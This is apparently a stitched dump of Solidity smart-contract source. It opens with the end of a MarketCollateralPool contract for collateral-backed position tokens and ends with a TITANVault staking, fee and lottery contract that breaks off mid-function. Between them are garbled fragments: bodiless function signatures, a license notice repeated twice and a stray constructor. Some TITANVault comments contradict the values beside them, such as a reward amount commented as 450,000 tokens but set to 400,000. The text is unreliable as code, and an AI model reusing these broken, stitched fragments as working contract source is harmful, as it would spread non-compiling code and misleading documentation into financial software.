returned data. require(address(token).isContract()); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool))); } } } /// @title MarketCollateralPool /// @notice This collateral pool houses all of the collateral for all market contracts currently in circulation. /// This pool facilitates locking of collateral and minting / redemption of position tokens for that collateral. /// @author Phil Elsasser <[email protected]> contract MarketCollateralPool is Ownable { using MathLib for uint; using MathLib for int; using SafeERC20 for ERC20; address public marketContractRegistry; address public mktToken; mapping(address => uint) public contractAddressToCollateralPoolBalance; // current balance of all collateral committed mapping(address => uint) public feesCollectedByTokenAddress; event TokensMinted( address indexed marketContract, address indexed user, address indexed feeToken, uint qtyMinted, uint collateralLocked, uint feesPaid ); event TokensRedeemed ( address indexed marketContract, address indexed user, uint longQtyRedeemed, uint shortQtyRedeemed, uint collateralUnlocked ); constructor(address marketContractRegistryAddress, address mktTokenAddress) public { marketContractRegistry = marketContractRegistryAddress; mktToken = mktTokenAddress; } /* // EXTERNAL METHODS */ /// @notice Called by a user that would like to mint a new set of long and short token for a specified /// market contract. This will transfer and lock the correct amount of collateral into the pool /// and issue them the requested qty of long and short tokens /// @param marketContractAddress address of the market contract to redeem tokens for /// @param qtyToMint quantity of long / short tokens to mint. /// @param isAttemptToPayInMKT if possible, attempt to pay fee's in MKT rather than collateral tokens function mintPositionTokens( address marketContractAddress, uint qtyToMint, bool isAttemptToPayInMKT ) external onlyWhiteListedAddress(marketContractAddress) { MarketContract marketContract = MarketContract(marketContractAddress); require(!marketContract.isSettled(), "Contract is already settled"); address collateralTokenAddress = marketContract.COLLATERAL_TOKEN_ADDRESS(); uint neededCollateral = MathLib.multiply(qtyToMint, marketContract.COLLATERAL_PER_UNIT()); // the user has selected to pay fees in MKT and those fees are non zero (allowed) OR // the user has selected not to pay fees in MKT, BUT the collateral token fees are disabled (0) AND the // MKT fees are enabled (non zero). (If both are zero, no fee exists) bool isPayFeesInMKT = (isAttemptToPayInMKT && marketContract.MKT_TOKEN_FEE_PER_UNIT() != 0) || (!isAttemptToPayInMKT && marketContract.MKT_TOKEN_FEE_PER_UNIT() != 0 && marketContract.COLLATERAL_TOKEN_FEE_PER_UNIT() == 0); uint feeAmount; uint totalCollateralTokenTransferAmount; address feeToken; if (isPayFeesInMKT) { // fees are able to be paid in MKT feeAmount = MathLib.multiply(qtyToMint, marketContract.MKT_TOKEN_FEE_PER_UNIT()); totalCollateralTokenTransferAmount = neededCollateral; feeToken = mktToken; // EXTERNAL CALL - transferring ERC20 tokens from sender to this contract. User must have called // ERC20.approve in order for this call to succeed. ERC20(mktToken).safeTransferFrom(msg.sender, address(this), feeAmount); } else { // fee are either zero, or being paid in the collateral token feeAmount = MathLib.multiply(qtyToMint, marketContract.COLLATERAL_TOKEN_FEE_PER_UNIT()); totalCollateralTokenTransferAmount = neededCollateral.add(feeAmount); feeToken = collateralTokenAddress; // we will transfer collateral and fees all at once below. } // EXTERNAL CALL - transferring ERC20 tokens from sender to this contract. User must have called // ERC20.approve in order for this call to succeed. ERC20(marketContract.COLLATERAL_TOKEN_ADDRESS()).safeTransferFrom(msg.sender, address(this), totalCollateralTokenTransferAmount); if (feeAmount != 0) { // update the fee's collected balance feesCollectedByTokenAddress[feeToken] = feesCollectedByTokenAddress[feeToken].add(feeAmount); } // Update the collateral pool locked balance. contractAddressToCollateralPoolBalance[marketContractAddress] = contractAddressToCollateralPoolBalance[ marketContractAddress ].add(neededCollateral); // mint and distribute short and long position tokens to our caller marketContract.mintPositionTokens(qtyToMint, msg.sender); emit TokensMinted( marketContractAddress, msg.sender, feeToken, qtyToMint, neededCollateral, feeAmount ); } /// @notice Called by a user that currently holds both short and long position tokens and would like to redeem them /// for their collateral. /// @param marketContractAddress address of the market contract to redeem tokens for /// @param qtyToRedeem quantity of long / short tokens to redeem. function redeemPositionTokens( address marketContractAddress, uint qtyToRedeem ) external onlyWhiteListedAddress(marketContractAddress) { MarketContract marketContract = MarketContract(marketContractAddress); marketContract.redeemLongToken(qtyToRedeem, msg.sender); marketContract.redeemShortToken(qtyToRedeem, msg.sender); // calculate collateral to return and update pool balance uint collateralToReturn = MathLib.multiply(qtyToRedeem, marketContract.COLLATERAL_PER_UNIT()); contractAddressToCollateralPoolBalance[marketContractAddress] = contractAddressToCollateralPoolBalance[ marketContractAddress ].subtract(collateralToReturn); // EXTERNAL CALL // transfer collateral back to user ERC20(marketContract.COLLATERAL_TOKEN_ADDRESS()).safeTransfer(msg.sender, collateralToReturn); emit TokensRedeemed( marketContractAddress, msg.sender, qtyToRedeem, qtyToRedeem, collateralToReturn ); } // @notice called by a user after settlement has occurred. This function will finalize all accounting around any // outstanding positions and return all remaining collateral to the caller. This should only be called after // settlement has occurred. /// @param marketContractAddress address of the MARKET Contract being traded. /// @param longQtyToRedeem qty to redeem of long tokens /// @param shortQtyToRedeem qty to redeem of short tokens function settleAndClose( address marketContractAddress, uint longQtyToRedeem, uint shortQtyToRedeem ) external onlyWhiteListedAddress(marketContractAddress) { MarketContract marketContract = MarketContract(marketContractAddress); require(marketContract.isPostSettlementDelay(), "Contract is not past settlement delay"); // burn tokens being redeemed. if (longQtyToRedeem > 0) { marketContract.redeemLongToken(longQtyToRedeem, msg.sender); } if (shortQtyToRedeem > 0) { marketContract.redeemShortToken(shortQtyToRedeem, msg.sender); } // calculate amount of collateral to return and update pool balances uint collateralToReturn = MathLib.calculateCollateralToReturn( marketContract.PRICE_FLOOR(), marketContract.PRICE_CAP(), marketContract.QTY_MULTIPLIER(), longQtyToRedeem, shortQtyToRedeem, marketContract.settlementPrice() ); contractAddressToCollateralPoolBalance[marketContractAddress] = contractAddressToCollateralPoolBalance[ marketContractAddress ].subtract(collateralToReturn); // return collateral tokens ERC20(marketContract.COLLATERAL_TOKEN_ADDRESS()).safeTransfer(msg.sender, collateralToReturn); emit TokensRedeemed( marketContractAddress, msg.sender, longQtyToRedeem, shortQtyToRedeem, collateralToReturn ); } /// @dev allows the owner to remove the fees paid into this contract for minting /// @param feeTokenAddress - address of the erc20 token fees have been paid in /// @param feeRecipient - Recipient address of fees function withdrawFees(address feeTokenAddress, address feeRecipient) public onlyOwner { uint feesAvailableForWithdrawal = feesCollectedByTokenAddress[feeTokenAddress]; require(feesAvailableForWithdrawal != 0, "No fees available for withdrawal"); require(feeRecipient != address(0), "Cannot send fees to null address"); feesCollectedByTokenAddress[feeTokenAddress] = 0; // EXTERNAL CALL ERC20(feeTokenAddress).safeTransfer(feeRecipient, feesAvailableForWithdrawal); } /// @dev allows the owner to update the mkt token address in use for fees /// @param mktTokenAddress address of new MKT token function setMKTTokenAddress(address mktTokenAddress) public onlyOwner { require(mktTokenAddress != address(0), "Cannot set MKT Token Address To Null"); mktToken = mktTokenAddress; } /// @dev allows the owner to update the mkt token address in use for fees /// @param marketContractRegistryAddress address of new contract registry function setMarketContractRegistryAddress(address marketContractRegistryAddress) public onlyOwner { require(marketContractRegistryAddress != address(0), "Cannot set Market Contract Registry Address To Null"); marketContractRegistry = marketContractRegistryAddress; } /* // MODIFIERS */ /// @notice only can be called with a market contract address that currently exists in our whitelist /// this ensure's it is a market contract that has been created by us and therefore has a uniquely created /// long and short token address. If it didn't we could have spoofed contracts minting tokens with a /// collateral token that wasn't the same as the intended token. modifier onlyWhiteListedAddress(address marketContractAddress) { require( MarketContractRegistryInterface(marketContractRegistry).isAddressWhiteListed(marketContractAddress), "Contract is not whitelisted" ); _; } }
The Ownable constructor sets the original `owner` of the contract to the sender account./
function calculateTotalCollateral( uint priceFloor, uint priceCap, uint qtyMultiplier ) pure internal returns (uint) } function calculateFeePerUnit( uint priceFloor, uint priceCap, uint qtyMultiplier, uint feeInBasisPoints ) pure internal returns (uint) } } Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Copyright 2017-2019 Phillip A. Elsasser Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); }
1,044,977
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface TokenInterface is IERC20 { function burnFromVault(uint256 amount) external returns (bool); function deposit() external payable; function withdraw(uint256 wad) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; } contract TITANVault is Context, Ownable { using SafeMath for uint256; TokenInterface public _titan; TokenInterface public _yfi; TokenInterface public _wbtc; TokenInterface public _weth; IUniswapV2Pair public _titanETHV2Pair; IUniswapV2Pair public _usdcETHV2Pair; IUniswapV2Router02 private _uniswapV2Router; address public _daoTreasury; uint16 public _allocPointForTitanReward; uint16 public _allocPointForSwapReward; uint16 public _treasuryFee; uint16 public _rewardFee; uint16 public _lotteryFee; uint16 public _reserviorFee; uint16 public _swapRewardFee; uint16 public _burnFee; uint16 public _earlyUnstakeFee; uint16 public _allocPointForYFI; uint16 public _allocPointForWBTC; uint16 public _allocPointForWETH; uint256 public _firstRewardPeriod; uint256 public _secondRewardPeriod; uint256 public _firstRewardAmount; uint256 public _secondRewardAmount; uint256 public _claimPeriodForTitanReward; uint256 public _claimPeriodForSwapReward; uint256 public _lockPeriod; uint256 public _minDepositETHAmount; bool public _enabledLock; bool public _enabledLottery; uint256 public _startBlock; uint256 public _lotteryLimit; uint256 public _collectedAmountForStakers; uint256 public _collectedAmountForSwap; uint256 public _collectedAmountForLottery; uint256 public _lotteryPaidOut; address private _reservior; struct StakerInfo { uint256 stakedAmount; uint256 lastClimedBlockForTitanReward; uint256 lastClimedBlockForSwapReward; uint256 lockedTo; } mapping(address => StakerInfo) public _stakers; // Info of winners for lottery. struct WinnerInfo { address winner; uint256 amount; uint256 timestamp; } WinnerInfo[] private winnerInfo; event ChangedEnabledLock(address indexed owner, bool lock); event ChangedEnabledLottery(address indexed owner, bool lottery); event ChangedLockPeriod(address indexed owner, uint256 period); event ChangedMinimumETHDepositAmount(address indexed owner, uint256 value); event ChangedRewardPeriod( address indexed owner, uint256 firstRewardPeriod, uint256 secondRewardPeriod ); event ChangedClaimPeriod( address indexed owner, uint256 claimPeriodForTitanReward, uint256 claimPeriodForSwapReward ); event ChangedTitanAddress(address indexed owner, address indexed titan); event ChangedTitanETHPair( address indexed owner, address indexed titanETHPair ); event ChangedFeeInfo( address indexed owner, uint16 treasuryFee, uint16 rewardFee, uint16 lotteryFee, uint16 swapRewardFee, uint16 burnFee ); event ChangedAllocPointsForSwapReward( address indexed owner, uint16 valueForYFI, uint16 valueForWBTC, uint16 valueForWETH ); event ChangedBurnFee(address indexed owner, uint16 value); event ChangedEarlyUnstakeFee(address indexed owner, uint16 value); event ChangedLotteryInfo( address indexed owner, uint16 lotteryFee, uint256 lotteryLimit ); event ClaimedTitanAvailableReward(address indexed owner, uint256 amount); event ClaimedSwapAvailableReward(address indexed owner, uint256 amount); event ClaimedTitanReward( address indexed owner, uint256 available, uint256 pending ); event ClaimedSwapReward(address indexed owner, uint256 amount); event Staked(address indexed account, uint256 amount); event Unstaked(address indexed account, uint256 amount); event SentLotteryAmount(address indexed owner, uint256 amount, bool status); event EmergencyWithdrawToken( address indexed from, address indexed to, uint256 amount ); event SwapAndLiquifyForTitan( address indexed msgSender, uint256 totAmount, uint256 ethAmount, uint256 titanAmount ); // Modifier modifier onlyTitan() { require( address(_titan) == _msgSender(), "Ownable: caller is not the Titan token contract" ); _; } constructor( address daoTreasury, address yfi, address wbtc, address weth, address usdcETHV2Pair ) { _daoTreasury = daoTreasury; _yfi = TokenInterface(yfi); _wbtc = TokenInterface(wbtc); _weth = TokenInterface(weth); _usdcETHV2Pair = IUniswapV2Pair(usdcETHV2Pair); _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _firstRewardPeriod = 195000; // around 1: 30 days, could be changed by governance _secondRewardPeriod = 585000; // around 2: 90 days, could be changed by governance _firstRewardAmount = 400e21; // 450,000 Titan tokens, could be changed by governance _secondRewardAmount = 600e21; // 550,000 Titan tokens, could be changed by governance _claimPeriodForTitanReward = 91000; // around 14 days, could be changed by governance _claimPeriodForSwapReward = 585000; // around 90 days, could be changed by governance _allocPointForTitanReward = 8000; // 80% of reward will go to TITAN reward, could be changed by governance _allocPointForSwapReward = 2000; // 20% of reward will go to swap(weth, wbtc, yfi) reward, could be changed by governance // Set values divited from taxFee _treasuryFee = 2000; // 20% of taxFee to treasuryFee, could be changed by governance _rewardFee = 5000; // 50% of taxFee to stakers, could be changed by governance _lotteryFee = 500; // 5% of lottery Fee, could be changed by governance _reserviorFee = 500; // 5% of taxFee to reserviorFee, could be changed by governance _swapRewardFee = 2000; // 20% of taxFee to swap tokens, could be changed by governance _earlyUnstakeFee = 1000; // 10% of early unstake fee, could be changed by governance // set alloc points of YFI, WBTC, WETH in swap rewards, could be changed by governance _allocPointForYFI = 3000; // 30% of fee to buy YFI token, could be changed by governance _allocPointForWBTC = 5000; // 50% of fee to buy WBTC token, could be changed by governance _allocPointForWETH = 2000; // 20% of fee to buy WETH token, could be changed by governance // set the burn fee for withdraw early _burnFee = 2000; // 20% of pending reward to burn when staker request to withdraw pending reward, could be changed by governance _minDepositETHAmount = 1e17; // 0.1 ether, could be changed by governance _lockPeriod = 90 days; // could be changed by governance _enabledLock = true; // could be changed by governance _enabledLottery = true; // could be changed by governance _lotteryLimit = 1200e6; // $1200(1200 usd, decimals 6), could be changed by governance _startBlock = block.number; _reservior = msg.sender; } /** * @dev Change Minimum Deposit ETH Amount. Call by only Governance. */ function changeMinimumDepositETHAmount(uint256 amount) external onlyOwner { _minDepositETHAmount = amount; emit ChangedMinimumETHDepositAmount(_msgSender(), amount); } /** * @dev Change value of reward period. Call by only Governance. */ function changeRewardPeriod( uint256 firstRewardPeriod, uint256 secondRewardPeriod ) external onlyOwner { _firstRewardPeriod = firstRewardPeriod; _secondRewardPeriod = secondRewardPeriod; emit ChangedRewardPeriod( _msgSender(), firstRewardPeriod, secondRewardPeriod ); } /** * @dev Change value of claim period. Call by only Governance. */ function changeClaimPeriod( uint256 claimPeriodForTitanReward, uint256 claimPeriodForSwapReward ) external onlyOwner { _claimPeriodForTitanReward = claimPeriodForTitanReward; _claimPeriodForSwapReward = claimPeriodForSwapReward; emit ChangedClaimPeriod( _msgSender(), claimPeriodForTitanReward, claimPeriodForSwapReward ); } /** * @dev Enable lock functionality. Call by only Governance. */ function enableLock(bool isLock) external onlyOwner { _enabledLock = isLock; emit ChangedEnabledLock(_msgSender(), isLock); } /** * @dev Enable lottery functionality. Call by only Governance. */ function enableLottery(bool lottery) external onlyOwner { _enabledLottery = lottery; emit ChangedEnabledLottery(_msgSender(), lottery); } /** * @dev Change maximun lock period. Call by only Governance. */ function changeLockPeriod(uint256 period) external onlyOwner { _lockPeriod = period; emit ChangedLockPeriod(_msgSender(), _lockPeriod); } function changeTitanAddress(address titan) external onlyOwner { _titan = TokenInterface(titan); emit ChangedTitanAddress(_msgSender(), titan); } function changeTitanETHPair(address titanETHPair) external onlyOwner { _titanETHV2Pair = IUniswapV2Pair(titanETHPair); emit ChangedTitanETHPair(_msgSender(), titanETHPair); } /** * @dev Update the treasury fee for this contract * defaults at 25% of taxFee, It can be set on only by Titan governance. * Note contract owner is meant to be a governance contract allowing Titan governance consensus */ function changeFeeInfo( uint16 treasuryFee, uint16 rewardFee, uint16 lotteryFee, uint16 reserviorFee, uint16 swapRewardFee, uint16 burnFee ) external onlyOwner { _treasuryFee = treasuryFee; _rewardFee = rewardFee; _lotteryFee = lotteryFee; _reserviorFee = reserviorFee; _swapRewardFee = swapRewardFee; _burnFee = burnFee; emit ChangedFeeInfo( _msgSender(), treasuryFee, rewardFee, lotteryFee, swapRewardFee, burnFee ); } function changeEarlyUnstakeFee(uint16 fee) external onlyOwner { _earlyUnstakeFee = fee; emit ChangedEarlyUnstakeFee(_msgSender(), fee); } /** * @dev Update the dev fee for this contract * defaults at 5% of taxFee, It can be set on only by Titan governance. * Note contract owner is meant to be a governance contract allowing Titan governance consensus */ function changeLotteryInfo(uint16 lotteryFee, uint256 lotteryLimit) external onlyOwner { _lotteryFee = lotteryFee; _lotteryLimit = lotteryLimit; emit ChangedLotteryInfo(_msgSender(), lotteryFee, lotteryLimit); } /** * @dev Update the alloc points for yfi, weth, wbtc rewards * defaults at 50, 30, 20 of * Note contract owner is meant to be a governance contract allowing Titan governance consensus */ function changeAllocPointsForSwapReward( uint16 allocPointForYFI_, uint16 allocPointForWBTC_, uint16 allocPointForWETH_ ) external onlyOwner { _allocPointForYFI = allocPointForYFI_; _allocPointForWBTC = allocPointForWBTC_; _allocPointForWETH = allocPointForWETH_; emit ChangedAllocPointsForSwapReward( _msgSender(), allocPointForYFI_, allocPointForWBTC_, allocPointForWETH_ ); } function addTaxFee(uint256 amount) external onlyTitan returns (bool) { uint256 daoTreasuryReward = amount.mul(uint256(_treasuryFee)).div(10000); _titan.transfer(_daoTreasury, daoTreasuryReward); uint256 reserviorReward = amount.mul(uint256(_reserviorFee)).div(10000); _titan.transfer(_reservior, reserviorReward); uint256 stakerReward = amount.mul(uint256(_rewardFee)).div(10000); _collectedAmountForStakers = _collectedAmountForStakers.add( stakerReward ); uint256 lotteryReward = amount.mul(uint256(_lotteryFee)).div(10000); _collectedAmountForLottery = _collectedAmountForLottery.add( lotteryReward ); _collectedAmountForSwap = _collectedAmountForSwap.add( amount.sub(daoTreasuryReward).sub(stakerReward).sub(lotteryReward) ); return true; } function getTotalStakedAmount() public view returns (uint256) { return _titanETHV2Pair.balanceOf(address(this)); } function getWinners() external view returns (uint256) { return winnerInfo.length; } // Get Titan reward per block function getTitanPerBlockForTitanReward() public view returns (uint256) { uint256 multiplier = getMultiplier(_startBlock, block.number); if (multiplier == 0 || getTotalStakedAmount() == 0) { return 0; } else if (multiplier <= _firstRewardPeriod) { return _firstRewardAmount .mul(uint256(_allocPointForTitanReward)) .mul(1 ether) .div(getTotalStakedAmount()) .div(_firstRewardPeriod) .div(10000); } else if ( multiplier > _firstRewardPeriod && multiplier <= _secondRewardPeriod ) { return _secondRewardAmount .mul(uint256(_allocPointForTitanReward)) .mul(1 ether) .div(getTotalStakedAmount()) .div(_secondRewardPeriod) .div(10000); } else { return _collectedAmountForStakers .mul(1 ether) .div(getTotalStakedAmount()) .div(multiplier); } } function getTitanPerBlockForSwapReward() public view returns (uint256) { uint256 multiplier = getMultiplier(_startBlock, block.number); if (multiplier == 0 || getTotalStakedAmount() == 0) { return 0; } else if (multiplier <= _firstRewardPeriod) { return _firstRewardAmount .mul(uint256(_allocPointForSwapReward)) .mul(1 ether) .div(getTotalStakedAmount()) .div(_firstRewardPeriod) .div(10000); } else if ( multiplier > _firstRewardPeriod && multiplier <= _secondRewardPeriod ) { return _secondRewardAmount .mul(uint256(_allocPointForSwapReward)) .mul(1 ether) .div(getTotalStakedAmount()) .div(_secondRewardPeriod) .div(10000); } else { return _collectedAmountForSwap .mul(1 ether) .div(getTotalStakedAmount()) .div(multiplier); } } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 from, uint256 to) public pure returns (uint256) { return to.sub(from); } function _getLastAvailableClaimedBlock( uint256 from, uint256 to, uint256 period ) internal pure returns (uint256) { require(from <= to, "Vault: Invalid parameters for block number."); require(period > 0, "Vault: Invalid period."); uint256 multiplier = getMultiplier(from, to); return from.add(multiplier.sub(multiplier.mod(period))); } function swapETHForTokens(uint256 ethAmount) private { // generate the uniswap pair path of weth -> Titan address[] memory path = new address[](2); path[0] = _uniswapV2Router.WETH(); path[1] = address(_titan); // make the swap _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: ethAmount }(0, path, address(this), block.timestamp); } function addLiquidityForEth(uint256 tokenAmount, uint256 ethAmount) private { _titan.approve(address(_uniswapV2Router), tokenAmount); // add the liquidity _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(_titan), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function removeOddTokens() external { require(msg.sender == _reservior); uint256 oddWeth = _weth.balanceOf(address(this)); uint256 oddYfi = _yfi.balanceOf(address(this)); uint256 oddWbtc = _wbtc.balanceOf(address(this)); if (oddWeth > 0) { _weth.withdraw(oddWeth); } if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } if (oddYfi > 0) { _yfi.transfer(msg.sender, oddYfi); } if (oddWbtc > 0) { _wbtc.transfer(msg.sender, oddWbtc); } } function swapAndLiquifyForTitan(uint256 amount) private returns (bool) { uint256 halfForEth = amount.div(2); uint256 otherHalfForTitan = amount.sub(halfForEth); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = _titan.balanceOf(address(this)); // swap ETH for tokens swapETHForTokens(otherHalfForTitan); // how much Titan did we just swap into? uint256 newBalance = _titan.balanceOf(address(this)).sub(initialBalance); // add liquidity to uniswap addLiquidityForEth(newBalance, halfForEth); emit SwapAndLiquifyForTitan( _msgSender(), amount, halfForEth, newBalance ); return true; } function swapTokensForTokens( address fromTokenAddress, address toTokenAddress, uint256 tokenAmount, address receivedAddress ) private returns (bool) { address[] memory path = new address[](2); path[0] = fromTokenAddress; path[1] = toTokenAddress; IERC20(fromTokenAddress).approve( address(_uniswapV2Router), tokenAmount ); // make the swap _uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of pair token path, receivedAddress, block.timestamp ); return true; } receive() external payable {} function stake() external payable returns (bool) { require(!isContract(_msgSender()), "Vault: Could not be contract."); require( msg.value >= _minDepositETHAmount, "Vault: insufficient staking amount." ); // Check Initial Balance uint256 initialBalance = _titanETHV2Pair.balanceOf(address(this)); // Call swap for TITAN&ETH require( swapAndLiquifyForTitan(msg.value), "Vault: Failed to get LP tokens." ); uint256 newBalance = _titanETHV2Pair.balanceOf(address(this)).sub(initialBalance); StakerInfo storage staker = _stakers[_msgSender()]; if (staker.stakedAmount > 0) { claimTitanReward(); claimSwapReward(); } else { staker.lastClimedBlockForTitanReward = block.number; staker.lastClimedBlockForSwapReward = block.number; } staker.stakedAmount = staker.stakedAmount.add(newBalance); staker.lockedTo = _lockPeriod.add(block.timestamp); emit Staked(_msgSender(), newBalance); return _sendLotteryAmount(); } /** * @dev Stake LP Token to get TITAN-ETH LP tokens */ function stakeLPToken(uint256 amount) external returns (bool) { require(!isContract(_msgSender()), "Vault: Could not be contract."); _titanETHV2Pair.transferFrom(_msgSender(), address(this), amount); StakerInfo storage staker = _stakers[_msgSender()]; if (staker.stakedAmount > 0) { claimTitanReward(); claimSwapReward(); } else { staker.lastClimedBlockForTitanReward = block.number; staker.lastClimedBlockForSwapReward = block.number; } staker.stakedAmount = staker.stakedAmount.add(amount); staker.lockedTo = _lockPeriod.add(block.timestamp); emit Staked(_msgSender(), amount); return _sendLotteryAmount(); } /** * @dev Unstake staked TITAN-ETH LP tokens */ function unstake(uint256 amount) external returns (bool) { require(!isContract(_msgSender()), "Vault: Could not be contract."); StakerInfo storage staker = _stakers[_msgSender()]; require( staker.stakedAmount > 0 && amount > 0 && amount <= staker.stakedAmount, "Vault: Invalid amount to unstake." ); claimTitanReward(); claimSwapReward(); if ( _enabledLock && _stakers[_msgSender()].lockedTo > 0 && block.timestamp < _stakers[_msgSender()].lockedTo ) { uint256 feeAmount = amount.mul(uint256(_earlyUnstakeFee)).div(10000); _titanETHV2Pair.transfer(_daoTreasury, feeAmount); _titanETHV2Pair.transfer(_msgSender(), amount.sub(feeAmount)); } else { _titanETHV2Pair.transfer(_msgSender(), amount); } staker.stakedAmount = staker.stakedAmount.sub(amount); emit Unstaked(_msgSender(), amount); return _sendLotteryAmount(); } function getTitanReward(address account) public view returns (uint256 available, uint256 pending) { StakerInfo memory staker = _stakers[account]; uint256 multiplier = getMultiplier(staker.lastClimedBlockForTitanReward, block.number); if (staker.stakedAmount <= 0 || multiplier <= 0) { return (0, 0); } uint256 titanPerblock = getTitanPerBlockForTitanReward(); uint256 pendingBlockNum = multiplier.mod(_claimPeriodForTitanReward); pending = titanPerblock .mul(pendingBlockNum) .mul(staker.stakedAmount) .div(1 ether); available = titanPerblock .mul(multiplier.sub(pendingBlockNum)) 